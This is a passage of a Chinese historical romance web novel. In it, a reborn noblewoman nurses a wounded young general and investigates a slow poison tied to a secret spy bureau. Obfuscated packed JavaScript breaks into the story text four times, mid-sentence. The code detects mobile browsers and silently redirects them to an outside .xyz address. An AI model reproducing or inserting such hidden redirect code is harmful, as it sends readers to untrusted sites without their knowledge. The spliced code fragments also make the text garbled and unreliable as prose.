裴允晏知道分寸,除了手臂与肩膀,其他地方几乎都用衣服遮掩好了,并没有让温云琛难堪。
温云琛却是看着他的伤,出了神。
不止有这次受伤的伤口,在那条肌肉紧实的手臂上,还蜿蜒着其他陈旧疤痕,甚至有一条疤自锁骨处盘曲向
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583748|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,几乎就要到脖颈致命处。
难以想象他在战场上过的是什么刀尖舔血的日子。
每日能活下来,就已经是最大的宽慰了吧。
见温云琛不动,神色间还一副不高兴的样子,裴允晏以为自己的要求太过分,就要收起衣服:“那个……你要是觉得不妥我还是可以自己来的……”
“我来,”温云琛回过神,扯了一下他的衣服,不让他拉上,随后就去解他手臂上的纱布,“没什么不妥,况且这伤处,你也不好上药,我来吧。”
伤口有些裂了,不知是不是今日抓人时动作幅度太大了些。
温云琛心中有些愧疚。
自己承了情裴允晏这么多情,上个药怎么了?没什么大惊小怪的。
他都没提什么过分的要求,只是上药,已经将自己放得极低了。
温云琛抽出帕子,小心地擦去渗出来的血,随后拿起木棍,蘸了药膏,细致地往伤口上涂。
这下裴允晏却觉得温云琛离他太近了,少女正专心着,顾不上管距离,裴允晏却难熬起来。
他这会儿全身心的注意力都在温云琛身上,偏偏她几乎要伏在他身上,念念不忘的清香这会儿倒是闻了个痛快,只是也太多了些。
不知道温云琛用的是什么香膏还是熏香,那香味似乎是从她如瀑的发丝上传出,又似乎从雪白柔软的脖颈,又似乎……
裴允晏觉得自己不该这么盯着女娘看,但他也正是血气方刚不曾经历人事的年纪,怎么禁得住这种致命似的诱惑?
连冰凉的药膏涂在伤口上,都好像下一秒就被他身体的温度蒸热,淑女的呼吸轻轻喷洒在他的肌肤上,让他心中仿佛千万只蚂蚁细细爬过,燥痒难耐。
温云琛对这一变化丝毫不知,只是看着他的伤口,皱了眉:“受这么多伤,肯定很疼吧?”
“什么?”裴允晏一时没收回神智,一出声,才发现自己嗓音格外低哑,连忙清了清嗓子,“没……早就忘了。”
他如今想记起来也没法。
不知为什么,温云琛有些气不打一处来,但更多的是没来由的心疼,她手上使坏,微微用劲。
“嘶——”裴允晏倒吸一口凉气,“你压我伤口做什么?”
“为了让你记住受伤是疼的,”温云琛没好气道,“往后惜命些,别再让自己轻易受伤。”
裴允晏终于反应过来什么,拉住她的手腕,眼中有些欣喜:“你心疼了?”
“啧。”
看出来就算了还非要说出来。
温云琛没回答,给他缠上了干净的纱布,站起身:“好了,谢礼我可送了,不许再用今日的事朝我讨。”
“好,”裴允晏一口答应,“那淑女往后还有什么想做的事,尽管开口,我可以做你手中的刃,为你把阻碍都铲除干净。”
温云琛眯了眯眼睛:“你方才答应我什么来着?”
裴允晏哑然一笑:“当没开锋的刃也好啊。”
罢了,人的行事方式不是一日能改过来的,慢慢来吧。
温云琛叹了口气,离开西小阁。
裴允晏勾着唇角,不动声色地舔了舔唇上温云琛擦过的地方。
做了事,他才能讨更多赏啊。
来日方长呢,淑女。
11. 毒药
心中小算盘正噼啪响,窗户忽然被人推开了。
祁乌好不容易等到温云琛走,惊喜地说:“少将军,看我发现谁来了?”
他身边,另一名黑袍男子单膝下跪抱拳:“属下祁光,奉主上之命,前来与少将军会和。”
祁乌与祁光是兄弟俩,都在裴允晏麾下当副手。当初出征,裴允晏带了机灵些的祁乌走,沉稳些的祁光便留在京城收集情报,等待号令。
这次来温府,也是裴太尉的意思,让他查一查温家底细,顺便接他儿回家。
裴允晏当然不记得这些,不过刚才与温云琛接触,他这会儿心情倒是很好,多问了句:“你主上谁啊?”
祁光一愣:“是您父亲,裴太尉。”
裴允晏:“噢。”
祁乌戳了下祁光的胳膊肘:“我就说少将军失忆了,你还不信。”
祁光皱了眉:“少将军,您该回府去,找医士好好瞧瞧。温家底细不明,怕是不安全。”
“我觉着此处挺好的,”裴允晏安坐在窗边摇椅上,挑拣了一颗饱满的梨子,抛接起来,“你告诉我老爹,我先在这儿待着,肯定不会误事,等大军归来时便一起回去。”
祁光觉得这事自己拿不了主意,只能传话,但于情于理应该是行的,毕竟距离大军拔营回京还有三个月。
也罢,就当少将军放个假偷闲了。
他垂下头,抱拳道:“少将军,属下近日观察,温府当中,除了我们在监视,温二娘子院中还有一名叫沉墨的女婢在观察我们。”
裴允晏不以为意:“那是她的婢女,受温绍之命照顾她,监看着我也正常。”
祁光说:“但属下发现,院中还来过一方势力,与这名女婢有接触。另,这方势力也曾在温大娘子院中出现。”
“温夕玉的人?”
“并不是,他们只是监视温大娘子。”
裴允晏挑了眉,手中梨子没有再抛起:“谁的人?”
“丹铜司。”
——
一连十日过去,温府热闹不断。二房还在为温夕玉的脸鸡飞狗跳,到处求医。大房则是开始张罗温绍回府的事宜。
温绍此次是奉命前往陇西,铲除叛党余孽。之前传来家书,回京大概就是这几日的事了。
相比起迎接阿父归来,温云琛现阶段更加在意的是另一件事——温舟璟所中的毒。
这几日她细细思考过,温舟璟不是心无防备什么都吃的人,上辈子即便是阿父去世,家道中落,他也不曾颓废,平日生活也无甚不妥之处。
既然一切都是往常的样子,每日饮食也会用银针试毒,那只能说明毒不是即刻毙命的,而是日日散在温舟璟身边,不易察觉,或是银针查不出的毒。
或是在饮食中,或是在所用器具、衣物中。
需得找到毒,才能知晓是谁下毒,才能顺藤摸瓜地找到二房头上。
不过药理不是温云琛精通的,她得找另一个人来帮忙——世家大族袁氏的嫡女公子,袁音来。
袁音来是她闺中密友,为人洒脱爽快。她家这一旁支主研的是医理,阿父更是宫中太医令,是温云琛最好的求助对象。
说来惋惜,上一世温绍正是奉命前往胶东平乱时被害,当时的圣旨要他与当地士族联手平定,而驻扎胶东的士族正是袁氏。
不知遭受了什么变故,总之平乱未成,袁氏还背上了通敌罪名,全族被诛,袁音来这支也不例外。
如今既然要救阿父,袁氏自然也要一并救了。
温云琛一早命浮白递了庚帖备好马车,准备去看望袁音来。走到门口正要上车时,旁边伸出一只手臂,供她搀扶。
温云琛扭头一看,正是戴上了面具的裴允晏。
“你怎么来了?”温云琛有些惊讶,她并没有告知裴允晏要出门。
裴允晏则是十分本分地垂眸,小声道:“淑女要出门,不把刀刃带上,遇见什么事可如何是好?”
“本不是什么大事……”
温云琛也没拒绝,搭着他手臂上了车:“那便一起走吧。”
这些日子过去,裴允晏的伤也已稳定下来,多走动走动也有利于身体恢复。
这么些人看着,她总不好再把人叫到车上来,太引人注意。
袁府离温府不过半条街的距离,没过多久便到了。一下车,温云琛便被人扑了个满怀。
“阿琛!你可算来看我了!”袁音来一袭绯衣,热情似火,“许久不见你又好看啦。”
温云琛笑着拍拍她的背:“你倒是许久不见嘴更甜了。”
“哎,你没事吧?”袁音来松开她,小声询问着,仔细把温云琛打量一番,“我听说你家前几日出了事,似乎是有人要害你,结果害你堂姊破了相?”
温云琛愣了一下:“你怎知道得这般清楚?”
“下人们口口相传便这样了,”袁音来耸耸肩,“如今京城贵女中怕是没人不知道——毕竟你俩总被绑在一起比较,如今更是上好的谈资。”
下人们嘴碎这倒是真的,我家奴仆传到你家,你家再传到他家,这种令人好奇的谈资总是最吸引人的。
不过传得这样准确,倒像有人故意的。
温云琛不动声色地朝裴允晏看了一眼,后者只是对她报以微笑。
“幸好出事的不是你,”袁音来拉着温云琛往里走,“我就总看着温夕玉不顺眼,总觉得她那和善是伪装的,佛面蛇心。”
这倒是不错。
温云琛暗暗反思,自己从前过得还是太安逸了,太注重血脉亲情,这才没发现温夕玉的不对。
“阿音,其实我今日来是又是来找你帮忙的。”温云琛站住脚步,拉住袁音来的手。
袁音来大方道:“说吧!你和我还客气什么?”
“是这样,我前日做了一个梦,梦到我阿兄中了毒,慢性毒,连银针都测不出来的,但发作了便是即刻毙命,”温云琛捂住心口,神伤道,“那梦太真了,我便想来问问你,世上是否有这种毒药?”
“你怎么做这种梦?”
袁音来吓了一跳,很快就开始思索,片刻后颓然道:“应当是有的,只是你也知道,我懒得学这些乱七八糟的医理,就爱跟你们武将家一般舞刀弄枪,所以我说不上个所以然——要不我去问问阿父?”
“别!”温云琛当即制止了她。
她才刚开始查,本来已经安顿阿兄注意自己的饮食起居,已经可能让二房警觉,更别说再惊动太医令,那简直打草惊蛇。
“只是我梦中所见,我们自己查查便好,”温云琛想了个主意,“你家中不是有许多医理书卷?不然我们自己找?你不想看书我自己找也好。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583749|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
袁音来总觉得让温云琛自己找不够义气,但是自己确实看见书卷就头大。
忽然,她一拍脑袋,欣喜道:“阿琛,我突然想起来,京城中有一位悬壶君,是位脾气行踪飘忽不定的江湖郎中,但本事却很大,见识广博,与我阿父有些交情。不然我们去找他试试?”
温云琛眼神一亮:“也好,那位悬壶君在何处?”
“好说好说,如今时辰,他怕是在……”袁音来思考片刻,抬手朝一个方向指去,“东街,义诊。”
——
东街巷口,有一条排成长龙的队伍。
队伍的最前方,一名头发半白的老人捻着胡须,一只酒葫芦放在案上,正为一个个病人义诊。
为了不引人注意,温云琛和袁音来都戴面纱遮了面,随从也只有裴允晏一个。
起初袁音来还不放心,但温云琛和她说:“你放心,他一个顶八。”
但三人来得太晚,这会儿就只能排在队尾。
袁音来头都大了:“这么长的队,得排到何时啊?”
就在这时,前方的悬壶君抬头看了一眼,眼神停了片刻,然后道:“今日有些私事要办,诸位还请明日再来吧。”
人群不情不愿地散去,温云琛都呆了。
怎么这么快吃了闭门羹?
袁音来拉着温云琛挤到前面,一拍悬壶君的肩膀:“前辈!我找您有事!”
悬壶君被她这一下拍得差点没站稳,转过头说:“我这不就是为你们开了方便门么?进来说话。”
一路走到后堂,悬壶君才停下脚步:“何事找我啊,小丫头。”
“不是我,是我姊妹。”袁音来说着,拍了拍温云琛。
温云琛礼数周全地弯膝行礼:“温氏二娘子温云琛,见过前辈。”
悬壶君上下打量了温云琛一番,仔细看看她的面色,道:“女公子没生病,没中毒,没受伤,就是有些上火——不过到了这个年纪有些燥热也是难免。除此之外并无什么病症。”
温云琛惊讶地抬头,没想到这悬壶君仅仅看她两眼便能断定她没病。
果真有本事。
“小女前来不是为我,而是为亲人,”温云琛低了低头,“我想问问长辈,可曾有什么慢性毒药,银针验不出,中毒者并无感觉,发作即毙命?”
悬壶君盯着她看了片刻,眼神怪异:“你要给谁下?”
“不是啊前辈,只是她梦到的,”袁音来解释道,“只是太真了,所以想求个请教。”
其实她心里也发毛。她和温氏二兄妹一起长大,虽然看温舟璟总拿着书读的样子就想给他一榔头,但却不想真的让他死了,怪害怕的。
许久,悬壶君说:“倒是有一个——千日散。”
温云琛眼神亮了:“何解?”
“此毒有两种下法。一种是一次性服用千日的药量,即刻毙命。另一种需要连用毒药千日,期间中毒者毫无察觉,千日一到即刻取命。若中间有间断,之前积累的毒素便会逐渐散去。”
悬壶君说着,顿了一下:“不过若是第二种,并非靠服用,多半靠吸入,沉积肺中。”
温云琛只觉得手脚冰凉,她强作镇定,问道:“敢问前辈,这毒药可有来历?”
悬壶君睨她一眼,缓缓开口——
“丹铜司。”
12. 丹铜
丹铜司……
温云琛不能说对这个组织有印象,可以说是记忆深刻了。
丹铜司是先帝开国时成立之处,是大宁最大也是最强悍的暗卫组织。暗杀、情报都是业界一等一的好,其实力可抵一支军队,他们无所不能,无处不在。
就连街头的乞儿、青楼的花魁、卖油的油翁,都有可能是丹铜司的人。
只是这丹铜司设立的初衷很奇怪,只为了江山安稳百姓无恙,却不为皇室安危服务,并不听命于皇帝,而是只听命于丹铜司司主。
换句话说,若有一日某位诸侯要反,但皇帝却昏庸,为了天下安宁,丹铜司司主并不会帮助皇帝平乱,反倒是会为那位诸侯助力。
先帝的初衷是好的,不想着江山在他楚氏手中永固,只想着天下。
大概是因为从布衣起事又历尽艰险,先帝更懂得民生不易。在他看来江山是谁家的根本没有社稷安定重要。
而他任命的丹铜司司主,乃是自己的大女儿、当今长公主殿下。
虽为女子,但先帝曾言,长公主的能力与认知远超于自己其他几个孩儿,于是掌管丹铜司的重任便交到了她的手上。
长公主是第一任丹铜司司主,任职至今。
未免司主贪权,先帝也立下规矩,每过三十载,丹铜司司主便要换上一番。至于下一任司主,由本任司主筛选决定。
或为男子,或为女子,年纪或长或幼皆无碍,只要能力够强,心中无贪。
至于温云琛为何印象深刻,还要说到上一世。据说长公主一直没寻到合适的继任人选,便一直未交权,直至身死。
自她死后,丹铜司就此沉溺隐藏,不听命于他人,也不再活跃在朝堂之上,再无人发现他们的踪迹。
偌大的组织,就如鬼魅般消失了。
当时的皇帝,也就是长公主的亲弟楚适,虽为皇帝,但生性多疑,常疑神疑鬼。长公主任职时便整日担忧她会造反,等她死后,皇帝更是声势浩大、痴魔般掘地三尺地找丹铜司中人的踪迹。
那段时间,每个走在街上的人都战战兢兢,生怕自己下一刻便被巡逻的士兵怀疑,抓去审问,故而温云琛记得清楚。
千日散这样隐秘的毒药,出于丹铜司其实并不让人意外,让温云琛意外的是,这毒药竟然会流出来,还到了温夕玉手上。
温云琛心中有了一个不好的猜测。
若长公主是青睐于温夕玉,将她当作了下一任培养呢?
这想法刚出现在脑中,很快便被温云琛否定了。
若长公主真有意传位于温夕玉,前世她那般风光无限权势滔天,也没见长公主交权。
那便只剩一种可能了——
丹铜司中有人、且是位高权重能接触到丹铜司机密毒药的人,与温夕玉有来往。
想到先前温夕玉手中拿到的蛇九,温云琛更觉得其中关系错综复杂。
区区一个温夕玉,自然不可能拿到这么多东西,关键在于她身后为她牵线的那位。
此人在军中说得上话,还能接触到丹铜司高层的司使,有筹谋,城府深。
温云琛下意识朝裴允晏看了一眼。
这个人倒是符合这些条件,不过不会是他。
不仅是因为裴允晏不会与温夕玉有什么往来,更多是是,温云琛愿意相信裴允晏一次。
是谁都不会是他。
既然知道了温舟璟所中之毒,为今之计是快些找出千日散下在哪里,阻断温舟璟与它的接触,这样他便不会如同前世一般。
千日发作的话……根据前世日子推算,温舟璟开始中毒大概是在一月之前。
好在日期新鲜,好找。
温云琛连忙询问:“前辈可知有何东西能检验出千日散?”
“倒是有办法,”悬壶君道,“它虽隐秘,但终归是毒药,于人而言是微量,于小些的动物相比,便是即可发作的剧毒。”
点拨至此,温云琛已经了然,感激地朝他行礼:“多谢前辈!”说完就准备走。
“哎等等,”悬壶君叫住了她,捋了捋胡子,“看样子,老夫帮了女公子大忙,女公子是否该答谢老夫?”
温云琛觉得也是,便问:“前辈需要什么?钱财?还是别的东西?”
悬壶君笑了几声,道:“不急,老夫此刻还未想到,就当你这女娃先欠个人情,往后老夫再朝你讨要。”
——
几人先回到了袁府,将袁音来送回去,然后温云琛便登上了回府的马车。
想来想去,袁音来还是觉得心下不安,朝温云琛说:“阿琛,若你家有什么变故一定要告诉我!还要温舟璟……他要是有事了,也一定告诉我,我定去帮忙!”
她总觉得好友今日突然来问的这味毒药蹊跷。
见她的样子,温云琛怔了一下,随后便意识到了什么,不禁笑出声:“从前不知道,阿音竟还有这般心思。”
提到温舟璟时,袁音来眼中的担忧几乎都要溢出来了,远超过一起长大的情分。
怪她从前眼拙,竟然一直没看出来。
袁音来两颊登时浮上了红晕,手忙脚乱地解释:“哎呀不是……阿琛你!!”
温云琛闷闷笑了几声:“好啦,我不会说的,也答应你的话,好不好?”
袁音来撇撇嘴:“好吧。”
马车渐渐走远,温云琛这会儿得了空,便掀起车帘,温和地看着裴允晏:“怎么不开心?谁惹到你了?”
裴允晏对外都是冰着一张脸,别人根本看不出区别,也分辨不出他开不开心。不过这些时日,温云琛已经摸清了他的一些小习惯——旁边都没别人了他还不找她说话,定是心中别扭。
果然,裴允晏靠近马车,有些委屈地看向她:“你怎么看出来的?”
温云琛支着下巴:“有人自从悬壶君那里出来便挎着一张脸,若此刻已经到了夏日,在你身边必定是暑气全消。”
裴允晏不装了,一张脸拉得更黑了。
“说说吧,谁惹着我们阿熠了?”
裴允晏总觉得温云琛和他说话是在哄小孩子,但很奇怪,他也必须承认,这种语气自己相当受用。
就比如现在,温云琛话里不知道哪句戳中了他的心窝,阴郁瞬间就散了大半。
他将将维持着不高兴的样子,说:“那个老头,我看他不爽。”
温云琛后知后觉这“老头”说的是悬壶君,更加奇怪了:“你都没和他说话,为何?”
这话裴允晏自己想想都不好意思,但事已至此,还是厚着脸皮说:“他让你欠他个人情,我不高兴。”
前些时日他费尽心机才让温云琛给自己喂糖上药,虽然帮她并不困难,但也是小心翼翼才换到的人情。
看看那老头,三言两语就换到了。
“不就是个毒药么,我也查得到……”
裴允晏兀自嘟囔着。
温云琛根本没想到是这样的理由,捂着嘴好半天,根本忍不住笑,笑声闷闷地散在风中,笑得肩膀颤个不停。
“哎,你……你笑什么!”裴允晏有些羞恼,自暴自弃道,“哎呀好啦好啦,我知道自己这样显
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583750|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得小肚鸡肠,但也就在你面前这样。”
“真的?”
“当然。”
温云琛想了想道:“我觉得这样挺好的。”
裴允晏眼中就要冒星星了,突然想起来自己现在应该还在生气,于是将星星憋了回去:“不行,我还是有些不高兴。”
“听说你们男子不高兴了就爱喝闷酒,”温云琛打趣道,“不过你还有伤,不许喝酒。”
裴允晏哀怨地看着她。
“那我也送你个人情礼物,就当赔罪,好不好?”
裴允晏眼神亮了起来:“当真?”
温云琛正襟危坐:“我何时骗过你?”
仔细思忖片刻,裴允晏说:“那我想吃你做的东西。”
温云琛有些不解:“你知道我不通厨艺,这不是为难我?”
“不为难!只要是你做出来的我都吃,不管什么,都好吃!”裴允晏说,“哪怕你进厨房为我端一碗水出来,我也当醇香酒酿喝了。”
看着他真挚的表情,鬼使神差地,温云琛伸出手去,纤纤玉指点了下他的额头:“才不会那般委屈你。”
这一连串做完说完,她才意识到自己做了什么,立刻将车帘放下,不说话了。
裴允晏怔怔地摸了下自己的额头,转而垂眸一笑。
他好像又闻到了那股清幽的香。
原来她喜欢这样的吗?那他知道往后该如何讨她开心了。
——
当日,悬壶君的小医馆自从见过温云琛一行人后便没有开门。
傍晚时分,有一人一袭布衣,从医馆中闪出,穿梭于无人小巷,脚步鬼魅,叫人捉不住踪迹。
正是悬壶君。
许久,他从一处府邸的角门溜进去,随后来到堂中,站定行礼。
“长公主,属下找到了千日散的踪迹。”
堂上女子眉目如画,髻上金钗环绕,十分贵气,只是脸上已经能看出岁月的痕迹。不言语时,周身便是一股上位者的威压和杀气。
她左手中指上戴着一枚蛇形戒指,神秘非常,一只三花猫儿伏在她的膝头,正被主人抚摸着皮毛。
长公主垂着眸,开口:“何处,何人?”
“汾武侯府,温家二娘子温云琛,今日找到属下问一味药,”悬壶君眉宇间不见方才对话时的慈祥,只有冷淡,“只是她并不知道药的名字,但所述症状皆与千日散相同。”
“竟落到了温家……”
长公主抚摸猫儿的动作停下,猫儿惊醒,一扑便匿入黑暗。
“还有一事,裴太尉之子,裴少将军裴允晏,也在温府中,与温二娘子关系亲密。不知是否温氏与裴氏……”
长公主若有所思,勾起唇角:“不知药名却能发现其踪迹,这个温二娘子有些意思……继续盯紧温家两位女公子,这两个,都不简单。”
前几日下属来报,说了温府之事,她便看见了温云琛的出色之处。
以诡计化去自身危险,却不主动将矛头转向堂姊,而是假借他人之手。
有心计,有胆色,还不脏手。
她开始有些期待了。
与之相比,温夕玉虽同样有心计,但心量却太窄了。
几乎不可与之谋。
悬壶君思虑片刻,道:“主上是要考虑温二娘子吗?恕属下直言,她若与裴少将军有关联,便与权势站队沾了关系。”
“无事,再看看,”长公主不急不忙,推倒了一旁费力堆起来的金叶,“人这一路,并非一成不变。”
“且看她选择。”
13. 酒酿
温府中,太阳身影落下大半。
晚膳时间刚过,厨房中一片忙乱,正是在清洗主家用膳的碗具,也是大多数下人们用饭的时间。
温家人每日大多都在一起用膳,只是这些时日主家有些龃龉,二房的饭菜就得另起炉灶。
这不,前几日在厨房中辟了一小块地方,专门给温夕玉制作食补。
看着那边堆放着的燕窝阿胶等物,一个婆子啧道:“吃这么多,也不见大娘子脸上的疤好些——林嫂你说呢?”
叫“林嫂”的厨娘是每日专门去给二房送膳的,温夕玉自从伤了脸便没再踏出院子,旁人见不着温夕玉的伤,林嫂却日日都能瞧见。
她摇了摇头:“不见好,前两日还反复过。”
婆子唏嘘道:“可怜那张如花似玉的脸了,往常众人还将两位女公子说在一起比较高下,如今倒是省了。”
何止呢,与其他人怕是也比不了了。
林嫂道:“还是莫议论主家是非了,我们做好本职便是。”
这时,一名老媪指使着几名小厮,抬进了一盒一盒的补品,放在了二房小灶台边上。
婆子惊了:“嚯,余媪,这是要吃到猴年马月去?”
“不至于,大娘子这不是需要多进补,采买的东西便多一些。”余媪微笑一下,又指挥人将其他东西放到了该放的地方。
林嫂客套道:“余媪辛苦了,往日府上采买都由您来负责,这几日大娘子不幸,您便得辛苦些。”
余媪:“嗐,这有什么,咱们做下人的不就是做这个的吗?”
正说话着,有人走了进来,正吃饭的下人们纷纷起身行礼:“二娘子。”
温云琛走在前面,后面跟着沉墨,她笑道:“没什么事,大家各自忙吧,我就是突然馋嘴,想来做些小食。”
余媪关切道:“您是主子,想吃什么吩咐一声就是,何来亲自来这腌臜地?厨房乱得很呐。”
“只是碗酒酿圆子,我也想自己学着做些什么。”
答应了裴允晏给他做吃的,当然不可能只端碗水回去,再加上之前两人谈论的话题,温云琛便想到了这个。
有些酒香,又不会有碍于伤口,最主要的是,浮白说这个做起来简单,哪怕没下过厨房的人,在指挥下也能做好。
温云琛觉得自己又行了。
心中默默回忆着浮白说的方子,温云琛找了一块干净地儿,准备开始和面搓丸子。
下人们吃饭的吃饭,收拾的收拾,还有些絮絮叨叨说闲话的,温云琛没在意,倒是觉得她们这样能为自己遮掩一二。
她这次来厨房,不仅仅是为了还裴允晏“人情”,还想来查看一下千日散的痕迹。
按照悬壶君所说,温舟璟中毒是靠吸入,但日常吃食还是免不了嫌疑。
因为念书辛苦,温母每日都会叫厨房额外熬一盅补汤给温舟璟,怕他腻了,几乎每日都换着花样。
但盅却只是那一个。
大房每日用膳都在一起,若在饮食上动手脚,便只有这汤盅和平日喝水的茶具。
茶具那边已经派了浮白去探,厨房人多眼杂,容易叫人察觉,她便带着手脚更为利落的沉墨,寻了个由头过来。
等到锅中加了冰糖红枣水煮开,小圆子一个个白白胖胖地翻滚着浮起来,温云琛便给沉墨使了个眼色,随后道:“沉墨,快找个盅来,碗也成。”
温舟璟的汤盅放得明显,沉墨便先四处看了一番,径直走了过去。
在拿起汤盅的那一瞬间,林嫂开口阻拦:“哎等等,姑娘,这个是咱们公子喝汤用的,怕是不好混用。”
沉墨说:“噢,那我换一个。”
手上却默不作声地收起了刚才抹过汤盅的湿帕子。
温云琛将汤圆倒在碗中,加了酒酿和枸杞,搅了搅,靠近嗅了一番,还是觉得香味不够,于是找婆子又要了些桂花撒上去。
香气十足,应该味道不差。
反正温云琛没敢自己尝。
除了一开始搓的丸子不太圆之外,起码看着是好的。
沉墨给温云琛递了个眼神,后者便心领神会,两人带好东西便离开了。
刚回到院中,温云琛便看见裴允晏正坐在院中亭子里,撑着脑袋盯着天上的星星发呆。
她叫人关上院门,开口道:“阿熠,怎么在院子里?”
“在想事情。”
裴允晏十分少见地没有立刻嬉笑着迎接温云琛,还在发呆。
温云琛不禁纳闷,拿着食盒走过去:“夜风凉,小心受风。想什么呢这么出神?”
裴允晏难过地看着她:“往常你刚到酉时便会给我送药,今日戌时了才回来——你是不是嫌我烦了?还是跟哪家公子相约去了?”
他今日喝药都是自己喝的,也没人给喂糖。
苦死了。
空气中一股浓重的醋味。
温云琛觉得好笑:“你整日脑子里都想些什么?我没想着和谁家公子见面……”
刚说完,她又觉得不对劲,怎么有一种她在守身如玉的感觉?
于是补了一句:“我如今都没想着成亲,只是去了趟厨房。”
说着,温云琛拍了拍食盒,狡黠问道:“猜猜里面是什么?”
裴允晏重重嗅了一口,眼神中泛起些期待:“好甜,是什么?你做了什么好吃的?怎么好像还有酒味?”
“只有这些吗?没闻到桂花香吗?”温云琛撇了撇嘴,将碗小心端出来,“我可是特地加了些桂花碎进去,你竟然没闻到最明显的味道。”
“闻到了闻到了,”裴允晏端坐着,宛若一只等待吃饭的大尾巴狗,“是给你家阿熠的吗?”
“是……”
温云琛刚出口,就看见裴允晏得逞般的眼神,还有他问句中的不对。
是给他做的没错,但“你家阿熠”算怎么回事?
怎么就成她家的了?
怎么还强买强卖呢?
裴允晏倒是十分满意,刚才发呆时的愁闷仿佛都是装出来的,端着碗,将勺子递给温云琛:“那是不是可以喂你家阿熠吃饭了?”
温云琛哀怨地看他一眼,也不知道怎么了,心中十分痒痒,虽然觉得裴允晏的话不对,但还是想顺着他的话喂他。
半晌,她拿起勺子,舀起一勺汤羹,喂到裴允晏嘴边。在对方喝完这一口后,她便有些气恼羞涩地把勺子撂在碗中,起身朝屋里走去:“我不喂了!”
她身后,裴允晏闷闷地笑了半天,笑声散在胸腔里,随后慢慢的,吃着口中甜食,笑意却逐渐淡了下去,有些食不知味。
就在半个时辰前,祁光来报近日查探温家的成果。
结果是,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583751|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温府中确实有人与叛党有所往来,具体是何人还未查清。
但温家下人接触的人中,确实有叛党中人。
前朝余孽势力错综复杂,虽然近些年已经被他挖掉了不少,但还有一些意图借助当朝官宦或世家的势力,颠覆皇权。
裴家一直知道他们的存在,也知道当今圣上不是什么好东西,但相比之下,找一个合适的宗亲继位总比江山再次倾覆、战火连天要强。
此次出征,他的另一个目的便是要铲除一部分叛党,也正是被他们重伤,后来被温云琛所救。
二房无男丁,无权势,大房温舟璟未入仕。若温家真有人与叛党有勾连,汾武侯温绍的嫌疑要比二房大得多。
但那是温云琛亲父。
他曾问过温云琛想要什么,她说想要合家平安。
若真与叛党关联,如何能安?
裴允晏倒是想了个激进有效的法子——他立即上门提亲,有了婚约便能让温云琛不再是温家人,若是事发,她不会有事。
但保不下她的家人。
更让他气得快咽气的是,他今日才听浮白说,温云琛与太傅杨氏的那个杨什么……杨夷还有婚约。
就算他想娶温云琛想嫁,也得先把那份婚约取消。
裴允晏当时就想抄着刀把杨氏都给砍了。
为今之计,只能先暗查温府究竟何人与叛党来往。
若是二房,他有一万种法子把她们赶出温家门,让温家从此清白。
若真是温绍……那他就算强娶,也要护温云琛平安。
碗中酒酿逐渐凉了下来,裴允晏低下头,一勺一勺吃了个干净。
其实温云琛的手艺很好,几乎看不出初学者的痕迹,酒酿香甜,丸子软糯,很是好吃。
裴允晏头一次觉得爱吃的甜食没有那么甜。
他知道温云琛不是该困于后宅庖屋中的人,就算真的娶了她,她也绝不会让温云琛受累,日日给他做饭。
只是极为偶尔地吃上这么一碗,他就满足了。
若真有那么一日,他希望温云琛心中所愿能真的实现。
——
屋中,沉墨已经将帕子中的水分挤到了一个小小的茶盏中,喂到一只鸟雀面前。
浮白先她们一步回来,已经试验过,温舟璟的茶具没有问题,鸟雀喝了其中的水依旧活蹦乱跳。
如今,在三双目光的注视下,鸟雀又喝了第二份水。
只见鸟雀尖喙前端没入水中,浅咂几下,水便流进它腹中。
温云琛直直看着那鸟雀,看它蹦跳几步,扑扇了几下翅膀,又在屋中飞了起来。
一刻钟过去,依旧活蹦乱跳,没有咽气的意思。
“看来不是吃食,”温云琛松了一口气,有些庆幸,但更多的是烦恼,“那定是下在了日常用具中。”
浮白没干过这么刺激的事,已经有些怯了,魂都几乎飞走:“那还能在何处……怎么会有人能神不知鬼不觉给公子下了毒呢?”
神不知鬼不觉……
